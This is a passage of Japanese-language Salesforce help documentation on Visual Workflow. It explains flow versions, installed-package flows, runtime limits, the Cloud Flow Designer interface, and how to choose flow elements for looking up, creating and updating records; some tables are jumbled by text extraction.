{!myCaseVar_original.Status}次の文字
列と一致
する

{!myCaseVar_final.Status}

同じ例は sObject コレクション変数にも当てはまります。ただし、コレクション変数の値を直接変更する
ことはできないため、ループを使用します。
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1. ループ要素を使用し、フローで各項目の値をループ変数 ({!myCaseLoopVar_original}) に渡しま
す。

2. 反復するたびに、割り当て要素は、Id、IsEscalated、Statusの項目をループ変数から別の sObject

変数 ({!myCaseLoopVar_final}) にコピーします。
3. フローは、次に、{!myCaseLoopVar_final} 変数の値を新しいコレクションに追加します。2 番目

の割り当て要素には次のルールが含まれます。

値演算子変数

{!myCaseLoopVar_final}加算{!myCaseColl_updated}

元のコレクションのすべての項目でフローが繰り返されると、ループは終了します。

関連トピック:

フローでレコードの作成または更新を行うときにアクセスできない項目
フローが参照のみの項目の値を設定しているときに発生することの制御
フローの割り当て要素

フローの管理の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローを管理する場合、管理および有効化の制限を考慮します。
フローの有効化

フローの新バージョンを有効化すると、以前に有効化されたバージョン (存
在する場合) は自動的に無効になります。実行中のフローインタビューは、
起動されたときのバージョンを使用して実行を続行します。

フローの削除
有効なフローバージョンを削除するには、まず無効化する必要があります。
フローに一時停止中または待機中のインタビューがある場合は、これらのイ
ンタビューが終了または削除されるまで削除できません。有効化されたこと
のないフローは、すぐに削除できます。
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フロープロパティ
特定のフローバージョンのプロパティは、デフォルトでは自動的に有効なバージョンのプロパティと一致
します。つまり、3 つのバージョンが存在していてバージョン 2 を有効にした場合、Salesforceによってバー
ジョン 1 とバージョン 3 のプロパティがバージョン 2 と一致するように更新されます。ただし、無効なバー
ジョンのプロパティを編集すると、有効なバージョンと一致するようにプロパティが自動的に更新されな
くなります。
フローの有効な (または最新の) バージョンにより、フロー種別が決まります。たとえば、フローの有効な
バージョンに画面が含まれる場合、その種別はフローになります。プロセスビルダーなどのシステムベー
スのメソッドでは実装できません。

インストールされたフローの考慮事項
パッケージからインストールしたフローを配布、アップグレード、または削除する場合は、次の制限を考
慮してください。

関連トピック:

フローの管理
Visual Workflow の制限および考慮事項

インストールされたフローの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

パッケージからインストールしたフローを配布、アップグレード、または削除
する場合は、次の制限を考慮してください。
• Cloud Flow Designer は管理パッケージからインストールされたフローを開くこ

とができません。
• 新規の対象組織に複数のバージョンのフローを含むパッケージをインストー

ルすると、最新バージョンのフローのみがリリースされます。
• フローを管理パッケージからインストールした場合は、そのフローのインタ

ビューのエラーメールに個別のフロー要素に関する詳細が記載されません。
メールはフローをインストールしたユーザに送信されます。

• 組織に存在するフローと同じ名前で、異なるバージョン番号を持つ未管理の
パッケージからフローをインストールする場合、新たにインストールされた
フローは、既存のフローの最新バージョンになります。ただし、パッケージ化されたフローの名前とバー
ジョン番号が組織のフローのものと同じである場合、パッケージのインストールは失敗します。フローを
上書きすることはできません。

状況
パッケージの有効なフローは、インストール後は有効です。新しくインストールされたバージョンが優先
され、対象組織のフローの以前の有効なバージョンは無効になります。現在無効になっているバージョン
に基づく進行中のフローがある場合は、引き続き無停止で実行できますが、前のバージョンのフローが反
映されます。
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インストールされたフローの配布
• 管理パッケージからインストールされたフローにカスタムボタン、リンク、Web タブを作成する場合

は、URL に名前空間を含めます。URL の形式は /flow/namespace/flowuniquename です。
• Visualforce ページの管理パッケージからインストールされたフローを埋め込む場合は、名前属性を形式

namespace.flowuniquename に設定します。
インストールされたフローのアップグレード

組織で管理パッケージのアップグレードを行うと、開発者からより新しいフローバージョンがリリースさ
れている場合に限り、新しいフローバージョンがインストールされます。複数回アップグレードを行うと、
フローバージョンが複数になることがあります。

インストールされたフローの削除
• インストール済みのパッケージからフローを削除することはできません。パッケージ化されたフローを

組織から削除するには、無効にしてからパッケージをアンインストールします。
• 開発組織の管理-ベータパッケージのインストールからはフローコンポーネントを削除できません。
• 複数の未管理パッケージからインストールされた複数のバージョンのあるフローがある場合は、その

パッケージをアンインストールすると 1 つのバージョンのみを削除できます。フローの単一のバージョ
ンを含むパッケージ (管理または未管理) のアンインストールを行うと、すべてのバージョンを含むフ
ロー全体が削除されます。

関連トピック:

変更セットとパッケージのフロー
パッケージを使用したフローのリリースの考慮事項
パッケージのインストール

フローの実行の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローを実行またはテストするときは、次の制限およびガイドラインに留意し
てください。
• 削除要素が含まれるフローをテストする場合は注意が必要です。無効なフ

ローでも、削除操作がトリガされます。
• 実行時に、日付/時間値のタイムゾーンが Cloud Flow Designerに表示される値と

異なる場合があります。実行中、日付/時間値は実行ユーザの Salesforce での
タイムゾーン設定を反映します。

• インタビューは、関連付けられているトランザクションが完了するまで、ア
クション (メールの送信、レコードの作成、編集、削除など) を実行しませ
ん。トランザクションは、インタビューが終了したとき、画面要素を実行し
たとき、待機要素を実行したときのいずれかの時点で完了します。レコード
要素および高速要素だけがレコードを作成または更新するわけではありません。Chatter への投稿要素、承
認申請要素、クイックアクション要素もレコードを作成または更新します。

• フローを移動するときに、ブラウザの [戻る] ボタンや [進む] ボタンを使用しないでください。これを行う
と、フローと Salesforce の間でデータの矛盾が生じる場合があります。
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• 1 つのフローには、最大 50 個のバージョンを作成できます。フローを実行すると、有効なバージョンが表
示されますが、さらに新しいバージョンが存在する可能性があります。

• Salesforce データベースを操作するフローの場合、関連するレコードと項目を作成、参照、編集、および削
除する権限がユーザにあることを確認します。権限がない場合、ユーザがフローを起動しようとすると権
限が不十分であるというエラーが表示されます。たとえば、フローはケースレコードの状況を検索して更
新するとします。このフローユーザは、ケースオブジェクトの [状況] 項目に対する「参照」権限と「編
集」権限が必要です。

• フローを配布するとき、URL パラメータを使用して Salesforce レコードから通貨項目値を currency 型のフロー
変数に渡さないでください。通貨項目が差し込み項目 ({!Account.AnnualRevenue} など) を介して参照
される場合、値には通貨単位の記号 ($ など) が含まれます。currency 型のフロー変数で受け入れられるのは
数値のみであるため、フローは実行時にエラーになります。代わりに、URL パラメータを使用してレコード
の ID を text 型のフロー変数に渡します。フローでは、その ID を使用して該当するレコードの通貨項目の値
を検索してください。

Lightning ランタイムの制限事項
組織で Lightning ランタイムを有効にしているとき、Lightning Experience のフローは次のものに読み込まれませ
ん。
• Web タブ
• サイドバー付きまたはサイドバーなしで現在のウィンドウを表示するように設定されているリストボタン
組織で Lightning ランタイムを有効にしているとき、Salesforce Classic のフローは次のものに読み込まれません。
• Web タブ
• サイドバー付きまたはサイドバーなしで現在のウィンドウに表示されるように設定されているカスタムボ

タンまたはカスタムリンク
ユーザは、小数点以上と小数点以下の桁も含めて、16 桁より多い数値を入力できません。

関連トピック:

フローのテスト
フローインタビュー
Visual Workflow の制限および考慮事項
フローランタイム環境
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フローのアクセシビリティ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Visual Workflowは、米国リハビリテーション法第 508 条に準拠していますが、いく
つかの例外があります。
• [次へ] または [前へ] をクリックしても画面のタイトルは変わらないため、新

しいページが表示されたかどうかを認識できないことがあります。
• ラジオボタン項目には表示ラベルがありません。スクリーンリーダーで質問

を識別することはできません。
• プロンプトが指定されていない質問は、正しく読み取れない場合がありま

す。
• 項目の読み取り中に、エラーは読み取られません。

関連トピック:

Visual Workflow の制限および考慮事項

フローの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

自動化するプロセスを理解したら、そのプロセスの Cloud Flow Designer でフロー
を設計します。

ヒント: フローの作成を開始する前に、計画を立てます。ビジネスプロセ
スの詳細を完全に理解していると、Visual Workflow を使用してビジネスプロ
セスを簡単に自動化できます。

Cloud Flow Designerを初めて使用する場合は、『Cloud Flow Designer Workbook』のサン
プルフローのチュートリアルを 1 つ以上実際に実行してみることをお勧めしま
す。ツールとそのしくみを学習するのに非常に役立ちます。
1. Cloud Flow Designer を開きます。[設定] で、[クイック検索] ボックスに「フ

ロー」と入力して、[フロー] を選択し、[新規フロー] をクリックします。
2. 適切な要素をキャンバスにドラッグします。

ヒント: ノードに必要な要素が確定していない場合は、確定するまでプ
レースホルダとしてステップ要素を追加します。ステップ要素はいつで
も後で置き換えられます。

3. 要素の順序が明確になるように要素を接続します。
4. 実行時のフローの開始要素を指定します。
5. フローに対して行った変更を保存します。
6. フローをテストして、期待どおりに動作することを確認します。
7. ユーザが実行できるようにフローを有効化します。
8. フローを適切なユーザに配布します。
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フローのビルディングブロック
要素、コネクタ、およびリソースを組み合わせて使用し、フローを作成します。
Cloud Flow Designer

Cloud Flow Designer では、コードを記述せずにフローを設計できます。
フローの開始要素の設定
フローを保存する前に、最初に実行する要素を指定します。
フローの保存
Cloud Flow Designer でフローを作成した後、その保存方法にはいくつかのオプションがあります。
一般的なフロータスク
いくつかのタスクは複数のフロー使用事例に共通します。たとえば、決定要素と待機要素両方の条件を定
義できます。
フローの参照
フロー要素、リソース、イベントなどの情報にすばやくアクセスできるように、このページをブックマー
クしてください。
サンプルフロー
内容によっては、説明するよりも実例を示した方がわかりやすい場合があります。次のサンプルフローで、
待機要素やコレクション変数などの高度な機能の使用方法を確認してください。

関連トピック:

フローの管理
フロー設計の考慮事項
フローのアクセシビリティ
フローのビルディングブロック

フローのビルディングブロック

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

要素、コネクタ、およびリソースを組み合わせて使用し、フローを作成します。
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• 各要素 (1) は、フローで実行できるアクションを表します。たとえば、Salesforce データの読み取りや書き込
み、フローユーザへの情報の表示、フローユーザからのデータの収集、ロジックの実行、データの操作な
どがあります。

• 各コネクタ (2) は、実行時にフローで使用できるパスを定義します。
• 各リソース (3) は、フロー全体で参照できる値を表します。

関連トピック:

フロー要素
フローのリソース
フローコネクタ

Cloud Flow Designer

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Cloud Flow Designer では、コードを記述せずにフローを設計できます。
動画やサンプルフローなどの有用なリソースのコレクションについては、Cloud

Flow Designer を開いて [開始] をクリックします。

Cloud Flow Designer の要件
Cloud Flow Designer を使用するには、最新のブラウザと Adobe® Flash® Player が必
要です。
Cloud Flow Designer ユーザインターフェースのツアー
Cloud Flow Designer を使用してフローを設計する前に、ツールの主要コンポー
ネントを理解してください。
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フロー内の検索
フローが拡大し、複雑化するにつれて、フロー内の要素の検索もより困難になります。Cloud Flow Designer

では、フロー要素およびリソースを迅速に検索するためのツールを提供します。
パレット内の検索
フロー、アクション、およびApexクラスを組織に追加すればするほど、パレット内で特定の項目を見つけ
るのが難しくなります。ただし、パレット内で検索することにより、フローに適切な要素を迅速に見つけ
ることができます。

関連トピック:

フロー要素
フローのリソース

Cloud Flow Designer の要件

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Cloud Flow Designerを使用するには、最新のブラウザと Adobe® Flash® Player が必要で
す。
推奨要件は、次のとおりです。
• Windows® Internet Explorer® バージョン 8 ～ 11、Google® Chrome™、Mozilla® Firefox®。

Internet Explorer 6 および 7 はサポートされていません。
• Adobe® Flash® Player バージョン 10.1 以降。Cloud Flow Designer を実行するには、

バージョンは、10.0 以降が必要です。
• 1024x768 以上のブラウザ解像度。

Cloud Flow Designer ユーザインターフェースのツアー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Cloud Flow Designerを使用してフローを設計する前に、ツールの主要コンポーネン
トを理解してください。
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ボタンバー (1)

作成しているフローを管理します。
• [実行]で、開いているフローの最後に保存されたバージョンを実行します。フローにサブフロー要素が

含まれる場合、各サブフローは、参照されるフローの有効なバージョンを実行します。参照されるフ
ローに有効なバージョンがない場合、サブフロー要素は参照されるフローの最新バージョンを実行しま
す。

• 右側の状況インジケータには次の情報が表示されます。
– フローが有効かどうか
– フローへの最新の変更が保存されているかどうか
– 最後に保存されたバージョンのフローに警告またはエラーがあるかどうか

警告またはエラーのリストを表示するには、インジケータをクリックします。

キャンバス (2)

キャンバスは、要素を追加してフローを作成する作業エリアです。キャンバスに要素を追加して要素を接
続するときに、フローのダイアグラムが表示されます。

[パレット] タブ (3)

[パレット] タブから、画面やレコードの作成などの新しい要素をフローに追加します。
[リソース] タブ (4)

[リソース] タブから、フローで使用する変数や数式などのリソースを作成します。
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[エクスプローラ] タブ (5)

[エクスプローラ] タブは、フローに追加したすべての要素およびリソースのライブラリです。

関連トピック:

フロープロパティ
フローの要素、リソース、コネクタの管理
パレット内の検索
フロー内の検索

フロー内の検索

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

フローが拡大し、複雑化するにつれて、フロー内の要素の検索もより困難にな
ります。Cloud Flow Designerでは、フロー要素およびリソースを迅速に検索するた
めのツールを提供します。
Cloud Flow Designerでフローを開きます。次に、以下の 1 つ以上のオプションを使
用して、フローの要素またはリソースを検索します。
• [エクスプローラ] タブで、検索テキストを入力します。

[エクスプローラ] タブでは、プロパティに入力テキストが含まれる要素およ
びリソースのみが表示されます。

• をクリックして、[エクスプローラ] タブのコンテンツを 1 つの種別の要素
またはリソースに絞り込みます。
検索条件を削除するには、 をクリックして、[すべて検索]を選択します。

• [キャンバスで結果を強調表示] を選択して、結果以外のキャンバス上のすべ
ての表示要素をグレー表示します。

• キャンバスのエリアの右上角の近くのコントロールを使用して、必要応じて
ズームイン/アウトします。

• キャンバスのエクスプローラ項目の場所を表示するには、次の手順の 1 つを
実行します。
エクスプローラ項目がキャンバスの表示可能要素または画面項目である場合の手順は、次のとおりです。
1. [エクスプローラ] タブの項目にマウスを置きます。
2. をクリックします。
エクスプローラ項目がキャンバスに表示されないリソースである場合の手順は、次のとおりです。
1. [エクスプローラ] タブの項目をクリックします。
2. [説明] ペインで [利用状況] タブをクリックします。
3. [利用状況] タブにリストされている要素の上にマウスを置きます。
4. をクリックします。
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キャンバスは要素を表示するよう移動し、一時的にその要素を強調表示します。

関連トピック:

Cloud Flow Designer ユーザインターフェースのツアー

パレット内の検索

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

フロー、アクション、および Apex クラスを組織に追加すればするほど、パレッ
ト内で特定の項目を見つけるのが難しくなります。ただし、パレット内で検索
することにより、フローに適切な要素を迅速に見つけることができます。
[パレット] タブから、次のオプションを使用して特定の項目を検索します。
• の横に検索テキストを入力します。

パレットには入力したテキストを含む項目のみが表示されます。
• [パレット] タブの内容を 1 種類の要素に絞り込むには、 をクリックして、

表示する要素を選択します。
• 検索条件を削除するには、 をクリックして、[すべて検索]を選択します。

関連トピック:

Cloud Flow Designer ユーザインターフェースのツアー
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フローの開始要素の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

フローを保存する前に、最初に実行する要素を指定します。
1. フローの開始要素にマウスポインタを置きます。
2. をクリックします。

関連トピック:

フローの保存

フローの保存

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

Cloud Flow Designerでフローを作成した後、その保存方法にはいくつかのオプショ
ンがあります。
初回保存

新しいフローを初めて保存する場合、ダイアログボックスが表示されます。
各フローのプロパティに値を入力します。フローの保存後は、一意の名前を
変更することはできません。

適用
フローを保存したことがある場合、[保存] ボタンは適用として機能し、以前
の作業を上書きします。ただし、有効なフローを編集する場合は、[保存] ボ
タンは機能しません。新しいバージョンまたは新しいフローとして変更を保
存するには、[別名で保存] を使用します。

別名で保存
一度フローを保存すると、このボタンが利用できるようになります。2 つの
オプションがあります。
• [新規フローとして保存]では、ダイアログボックスが表示されます。そこ

に、新しい名前、一意の名前、および説明を入力すると、完全に新しい
フローとして変更を保存できます。

• [新規バージョンとして保存] では、フローが現在のフローの新しいバー
ジョンとして保存されます。フローを変更し、古い設定をバックアップとして維持する場合にこのオプ
ションを使用します。
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各フローには、最大 50 個のバージョンを作成できます。新しいバージョンを保存するときに、一意の
名前は更新できません。

フローまたはフローのバージョンを保存する場合は、次のことに注意してください。
• ブラウザタブでフローの詳細ページを開いている場合は、編集したバージョンを実行する前に、別のタブ

でバージョンを編集します。
1. そのバージョンを保存します。
2. Cloud Flow Designer を閉じます。
3. 最初のタブでフローの詳細ページを更新します。

• フロープロパティを変更したときに、何らかの理由で保存に失敗した場合、フロープロパティは前の値に
戻りません。

関連トピック:

Cloud Flow Designer

フローのバージョンの有効化または無効化

一般的なフロータスク

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

いくつかのタスクは複数のフロー使用事例に共通します。たとえば、決定要素
と待機要素両方の条件を定義できます。

フローの要素、リソース、コネクタの管理
要素、リソース、コネクタを追加、編集、または削除して、カスタマイズし
ます。
フロー内での Salesforce レコードの操作
フローの実力は、組織のレコードの更新を自動化できることで発揮されま
す。フローでは、レコードからの値の検索、レコードの作成、レコードの更
新、レコードの削除など、あらゆることを自動で実行できます。
フロー数式を使用したユーザ入力の検証
通常の入力規則と同様に、フロー画面でのユーザ入力を検証できます。
フロー条件の定義
フローで特定の決定結果をいつ使用し、特定の待機イベントをいつ待機するかを制御します。
フローが辿るパスの定義
キャンバス上の要素を結び付けて、フローが実行する要素とその実行順序を特定します。
フローが失敗した場合の処理のカスタマイズ
レコード更新要素や承認申請要素など、Salesforceデータベースを操作する要素がフローに含まれていると、
フローが失敗することがあります。失敗する可能性があるすべての要素に障害パスを追加して、デフォル
トの動作を変更します。
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フローの要素、リソース、コネクタの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

要素、リソース、コネクタを追加、編集、または削除して、カスタマイズしま
す。

削除編集追加

マウスポインタを置い
て、 をクリックし
ます。

ダブルクリックするか
マウスポインタを置い
て、 をクリックし
ます。

[パレット] タブからド
ラッグし、キャンバス
にドロップします。

要素

[エクスプローラ] タブ
にマウスポインタを置
いて、 をクリック
します。

[エクスプローラ] タブ
でダブルクリックする
かマウスポインタを置
いて、 をクリック
します。

[リソース] タブで、ダ
ブルクリックします。

リソー
ス

選択して、Delete キー
を押します。

なしキャンバスで要素の最
後にあるノードをク
リックし、ターゲット
要素の任意の場所に線
をドラッグします。

コネク
タ

関連トピック:

フロー要素
フローのリソース
フローコネクタ

フロー内での Salesforce レコードの操作

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの実力は、組織のレコードの更新を自動化できることで発揮されます。
フローでは、レコードからの値の検索、レコードの作成、レコードの更新、レ
コードの削除など、あらゆることを自動で実行できます。
これらの各操作について、Cloud Flow Designer では少なくとも 2 つの要素から選択
できます。次のトピックを参照して、それらの要素間の違いを理解し、ケース
に最適な要素を決定します。

ヒント: 使用するオブジェクトと項目の API 名を知っておく必要がありま
す。Cloud Flow Designer では、表示ラベルではなく API 名が表示されます。

Salesforce レコードからフローへの値の取り込み
Salesforce レコードの情報をフローで使用するためには、事前にその情報をフ
ロー変数に取り込む必要があります。レコード検索要素または高速検索要素のいずれかを使用します。ど
の要素が適切かは、フローの他の部分の処理によって異なります。
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フローからの Salesforce レコードの作成
Salesforce レコードを作成するには、レコードの作成、クイックアクション、高速作成のいずれかの要素を
使用します。どの要素が適切かは、フローの他の部分の処理によって異なります。
フローからの Salesforce レコードの更新
既存の Salesforce レコードの項目値を更新するには、レコード更新、クイックアクション、高速更新のいず
れかの要素を使用します。どの要素が適切かは、フローの他の部分の処理によって異なります。
フローからの Salesforce レコードの削除
Salesforce レコードを削除するには、レコード削除要素または高速削除要素を使用します。どの要素が適切
かは、フローの他の部分の処理によって異なります。

Salesforce レコードからフローへの値の取り込み

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforceレコードの情報をフローで使用するためには、事前にその情報をフロー
変数に取り込む必要があります。レコード検索要素または高速検索要素のいず
れかを使用します。どの要素が適切かは、フローの他の部分の処理によって異
なります。
または、Salesforce データベースとやりとりする要素から値を渡します (Chatter へ
の投稿要素によって作成された投稿の ID など)。

例: ある取引先の所有者にメールを送信する必要があるとします。そのた
めには、フローがそのユーザのメールアドレスと名前を認識している必要
があります。

組織のレコードからフローに値を取り込むために、Cloud Flow Designer の [レコー
ドの検索] または [高速検索] のいずれかの要素を使用します。

フロー検索要素の選び方
この 2 つのフロー検索要素はとてもよく似ています。次の表に、両者の主な違いがまとめられています。

検索するレコード数項目値をフロー変数に対応付ける方法値を保存できる
場所

1 つのみレコードの
検索

1.• 保存する各項目を指定します。変数
• sObject 変数 2. 項目ごとに、その特定の値を保存するフロー変数

を指定します。
この要素を使用する場合は、各項目値を変数に直接
対応付けるため、より細かく設定できます。ただし、
細かく設定するほどクリック数が多くなります。

sObject 変数の場合は 1

つ
sObject コレクション変
数の場合は 1 つ以上

高速検索 1.• すべての項目値を保存するフロー変数を指定しま
す。

sObject 変数
• sObject コレ

クション変
数

2. 値をそのフロー変数に保存する項目を指定しま
す。
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各項目を変数に対応付けるときのクリック数を少なくしたい場合を除き、2 つの要素の選択の決め手となるも
のはありません。適切な検索要素を選択するには、値を保存する必要のある変数の種別を確認します。
• 単一値の非 sObject 変数に値を保存する場合は、レコード検索要素を使用します。
• sObject コレクション変数に値を保存する場合は、高速検索要素を使用します。
• 単一値の sObject 変数に値を保存する場合は、どちらでも構いません (高速検索のほうがクリック数が少なく

なる可能性があります)。

ヒント: 組織の制限を節約するために、可能な限り高速要素を使用することをお勧めします。詳細は、
「トランザクションでのフローの一括処理」を参照してください。

例: 以下は、それぞれの検索要素を使用して、ユーザの名前とメールアドレスを保存する方法を示してい
ます。

レコード検索

高速検索

関連トピック:

フローの高速検索要素
フローのレコード検索要素
フロー内での Salesforce レコードの操作
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フローからの Salesforce レコードの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce レコードを作成するには、レコードの作成、クイックアクション、高
速作成のいずれかの要素を使用します。どの要素が適切かは、フローの他の部
分の処理によって異なります。

例: 顧客の満足度スコアが特定の値より低くなった場合に、自動的にケー
スを作成します。

1 つ以上の Salesforce レコードを作成するには、フローで次の手順を実行します。
1. 新しいレコードの項目値を指定します。
2. それらの変更を Salesforce データベースに保存します (つまり、変更がデータ

ベースに保存されるまでは、変更はフローの内部にのみ存在しています)。

レコードを作成するフロー要素の選択基準は?

作成要素間の主な違いは、要素が作成できるレコードの数と適用する項目値を特定する方法です。
一度に複数のレコードを作成する必要がある場合

一度に複数のレコードを作成するには、高速作成要素を sObject コレクション変数と共に使用します。組織
の制限を超えないように、可能な限り高速要素を使用することをお勧めします。詳細は、「トランザクショ
ンでのフローの一括処理」を参照してください。
レコードの作成要素とクイックアクション要素では、同時に作成できるレコードは 1 つだけです。高速作
成要素では、1 つのレコード (sObject 変数を使用する場合) または複数のレコード (sObject コレクション変数
を使用する場合) を作成できます。

作成する必要があるレコードが 1 つのみの場合
すでに sObject 変数に使用するレコードの値を入力済みである場合は、高速作成要素を使用します。
sObject 変数からの値と他のリソースからの値の組み合わせを使用する場合 (単一値変数または画面入力項目
など) は、レコード作成要素またはクイックアクション要素を使用します。2 つの要素は次の点で異なりま
す。
• 要素でどの項目が使用できるか
• 要素によってオブジェクトの必須項目が提供されるかどうか
• 要素によって新しいレコード ID を保存できるかどうか

ID の保存は、たとえば、取引先を作成してからその取引先に関連付けられた取引先責任者を作成する場
合 (もちろんこのときに ID が必要です) に役立ちます。

新しいレコード ID必須項目使用できる項目

作成したレコードの ID を後でフ
ロー内で使用するために保存で
きる。

表示されないオブジェクトのすべての項目。
オブジェクトと、値を設定する
すべての項目を手動で選択しま
す。

レコード作
成
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新しいレコード ID必須項目使用できる項目

作成したレコードの ID を後で使
用するために保存できない。

表示される
必須であるかどうかは、ク
イックアクションレイアウ

クイックアクションレイアウト
に含まれている項目のみ。
クイックアクションを作成する
ときに特定の項目のデフォルト

クイックア
クション ([作
成] 種別)

トで何が必須とマークされ
ているかに基づきます。値を指定すると、レコードを作

成するときにそれらの値が使用
されます。

ヒント: 次のすべての項目に該当する場合は、クイックアクション要素を使用します。
1. アクション種別が [作成] である。
2. アクションのレイアウトに更新する項目がすべて含まれている。
3. 新しいレコードの ID を後でフロー内で参照する必要がない。
それ以外の場合はレコード作成要素を使用します。

例: 次に、各作成要素を使用して、顧客の満足度スコアが低すぎる場合にケースを作成する方法を示しま
す。

レコードの任意の項目を設定できますが、レコード作成要素ではこのオブジェクトに
対してどの項目が必須かが示されません。

レコード作成

適切な項目を使用して {!svarCase} を入力済みであることを前提とします。

高速作成
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アクションレイアウトから使用できるのが上記の 4 項目のみであるため、この要素に
対して設定できるのもこれら 4 つの項目のみです。取引先責任者 ID は、関連付けられ
たアクションレイアウトに必要であるため、この要素では必須です。

クイックアク
ション ([作成] 種
別)

関連トピック:

フローの高速作成要素
フロー内での Salesforce レコードの操作
フローのクイックアクション要素
フローのレコード作成要素

フローからの Salesforce レコードの更新

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

既存の Salesforce レコードの項目値を更新するには、レコード更新、クイックア
クション、高速更新のいずれかの要素を使用します。どの要素が適切かは、フ
ローの他の部分の処理によって異なります。

例: ユーザが商談レコードの [成立] ボタンをクリックすると、フローで商
談のフェーズが更新されます。

1 つ以上の既存の Salesforce レコードの項目を更新するには、フローで次の手順を
実行します。
1. 更新するレコードを指定します。
2. これらのレコードの新しい項目値を指定します。
3. それらの変更を Salesforce データベースに保存します (つまり、変更がデータ

ベースに保存されるまでは、変更はフローの内部にのみ存在しています)。

レコードを更新するフロー要素の選び方
要素間の主な違いは、更新するレコードの認識方法、適用する新しい項目値の認識方法、更新可能なレコード
数の 3 点です。
クイックアクション要素はレコードを一度に 1 つしか更新できませんが、レコード更新要素と高速更新要素は
複数のレコードを更新できます。
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更新するレコード
数

レコードの新しい項目値を指定する方法更新するレコードを指定する
方法

1 つ以上同じ要素で、更新する各項目を変数または
その他のリソースに対応付けます。
リソースのデータ型が選択された項目の
データ型と一致している限り、すべてのリ
ソースがサポートされます。

同じ要素内で検索条件を使用
する。

レコードの
更新

1 つのみ同じ要素で、更新する各項目を変数または
その他のリソースに対応付けます。
リソースのデータ型が選択された項目の
データ型と一致している限り、すべてのリ
ソースがサポートされます。

別の要素で単一値の変数に ID

を入力します。この ID は [関
連レコード ID] パラメータに
使用します。

クイックア
クション

sObject 変数の場合
は 1 つ
sObject コレクショ
ン変数の場合は 1

つ以上

割り当て要素などの別の要素で、sObject 変
数または sObject コレクション変数の値を更
新します。

別の要素で sObject 変数または
sObject コレクション変数に入
力します。

高速更新

次に該当する場合は、高速更新要素を使用します。
• sObject 変数または sObject コレクション変数に目的の値を入力済みである。

ヒント:

– sObject 変数または sObject コレクション変数の項目値は、割り当て要素を使用していつでも更新で
きます。

– 組織の制限を節約するために、可能な限り高速要素を使用することをお勧めします。詳細は、「ト
ランザクションでのフローの一括処理」を参照してください。

次のすべてに該当する場合は、クイックアクション要素を使用します。
• レコードを 1 つだけ更新する必要がある。
• 変数にレコードの ID を入力済みである。
• クイックアクションのレイアウトに、更新に必要なすべての項目が含まれている。
上記のいずれかに該当しない場合は、レコード更新要素を使用します。
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例: 以下は、それぞれの更新要素を使用して、商談のフェーズを更新する方法を示しています。

レコードのどの項目も更新できますが、レコード更新要素はこのオブジェクトのどの
項目が必須か認識しません。

レコード更新

{!svarOpportunity} には正しい項目が入力済みであることを前提としています。

高速更新

関連付けられているアクションレイアウトで上記の 3 項目が必須のため、この要素で
も必須です。[関連レコード ID] で、更新する商談を指定します。

クイックアク
ション (種別は
[更新])

関連トピック:

フローの高速更新要素
フローのレコード更新要素
フローのクイックアクション要素
フロー内での Salesforce レコードの操作
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フローからの Salesforce レコードの削除

エディション

使用可能なエディション:
Salesforce Classic および
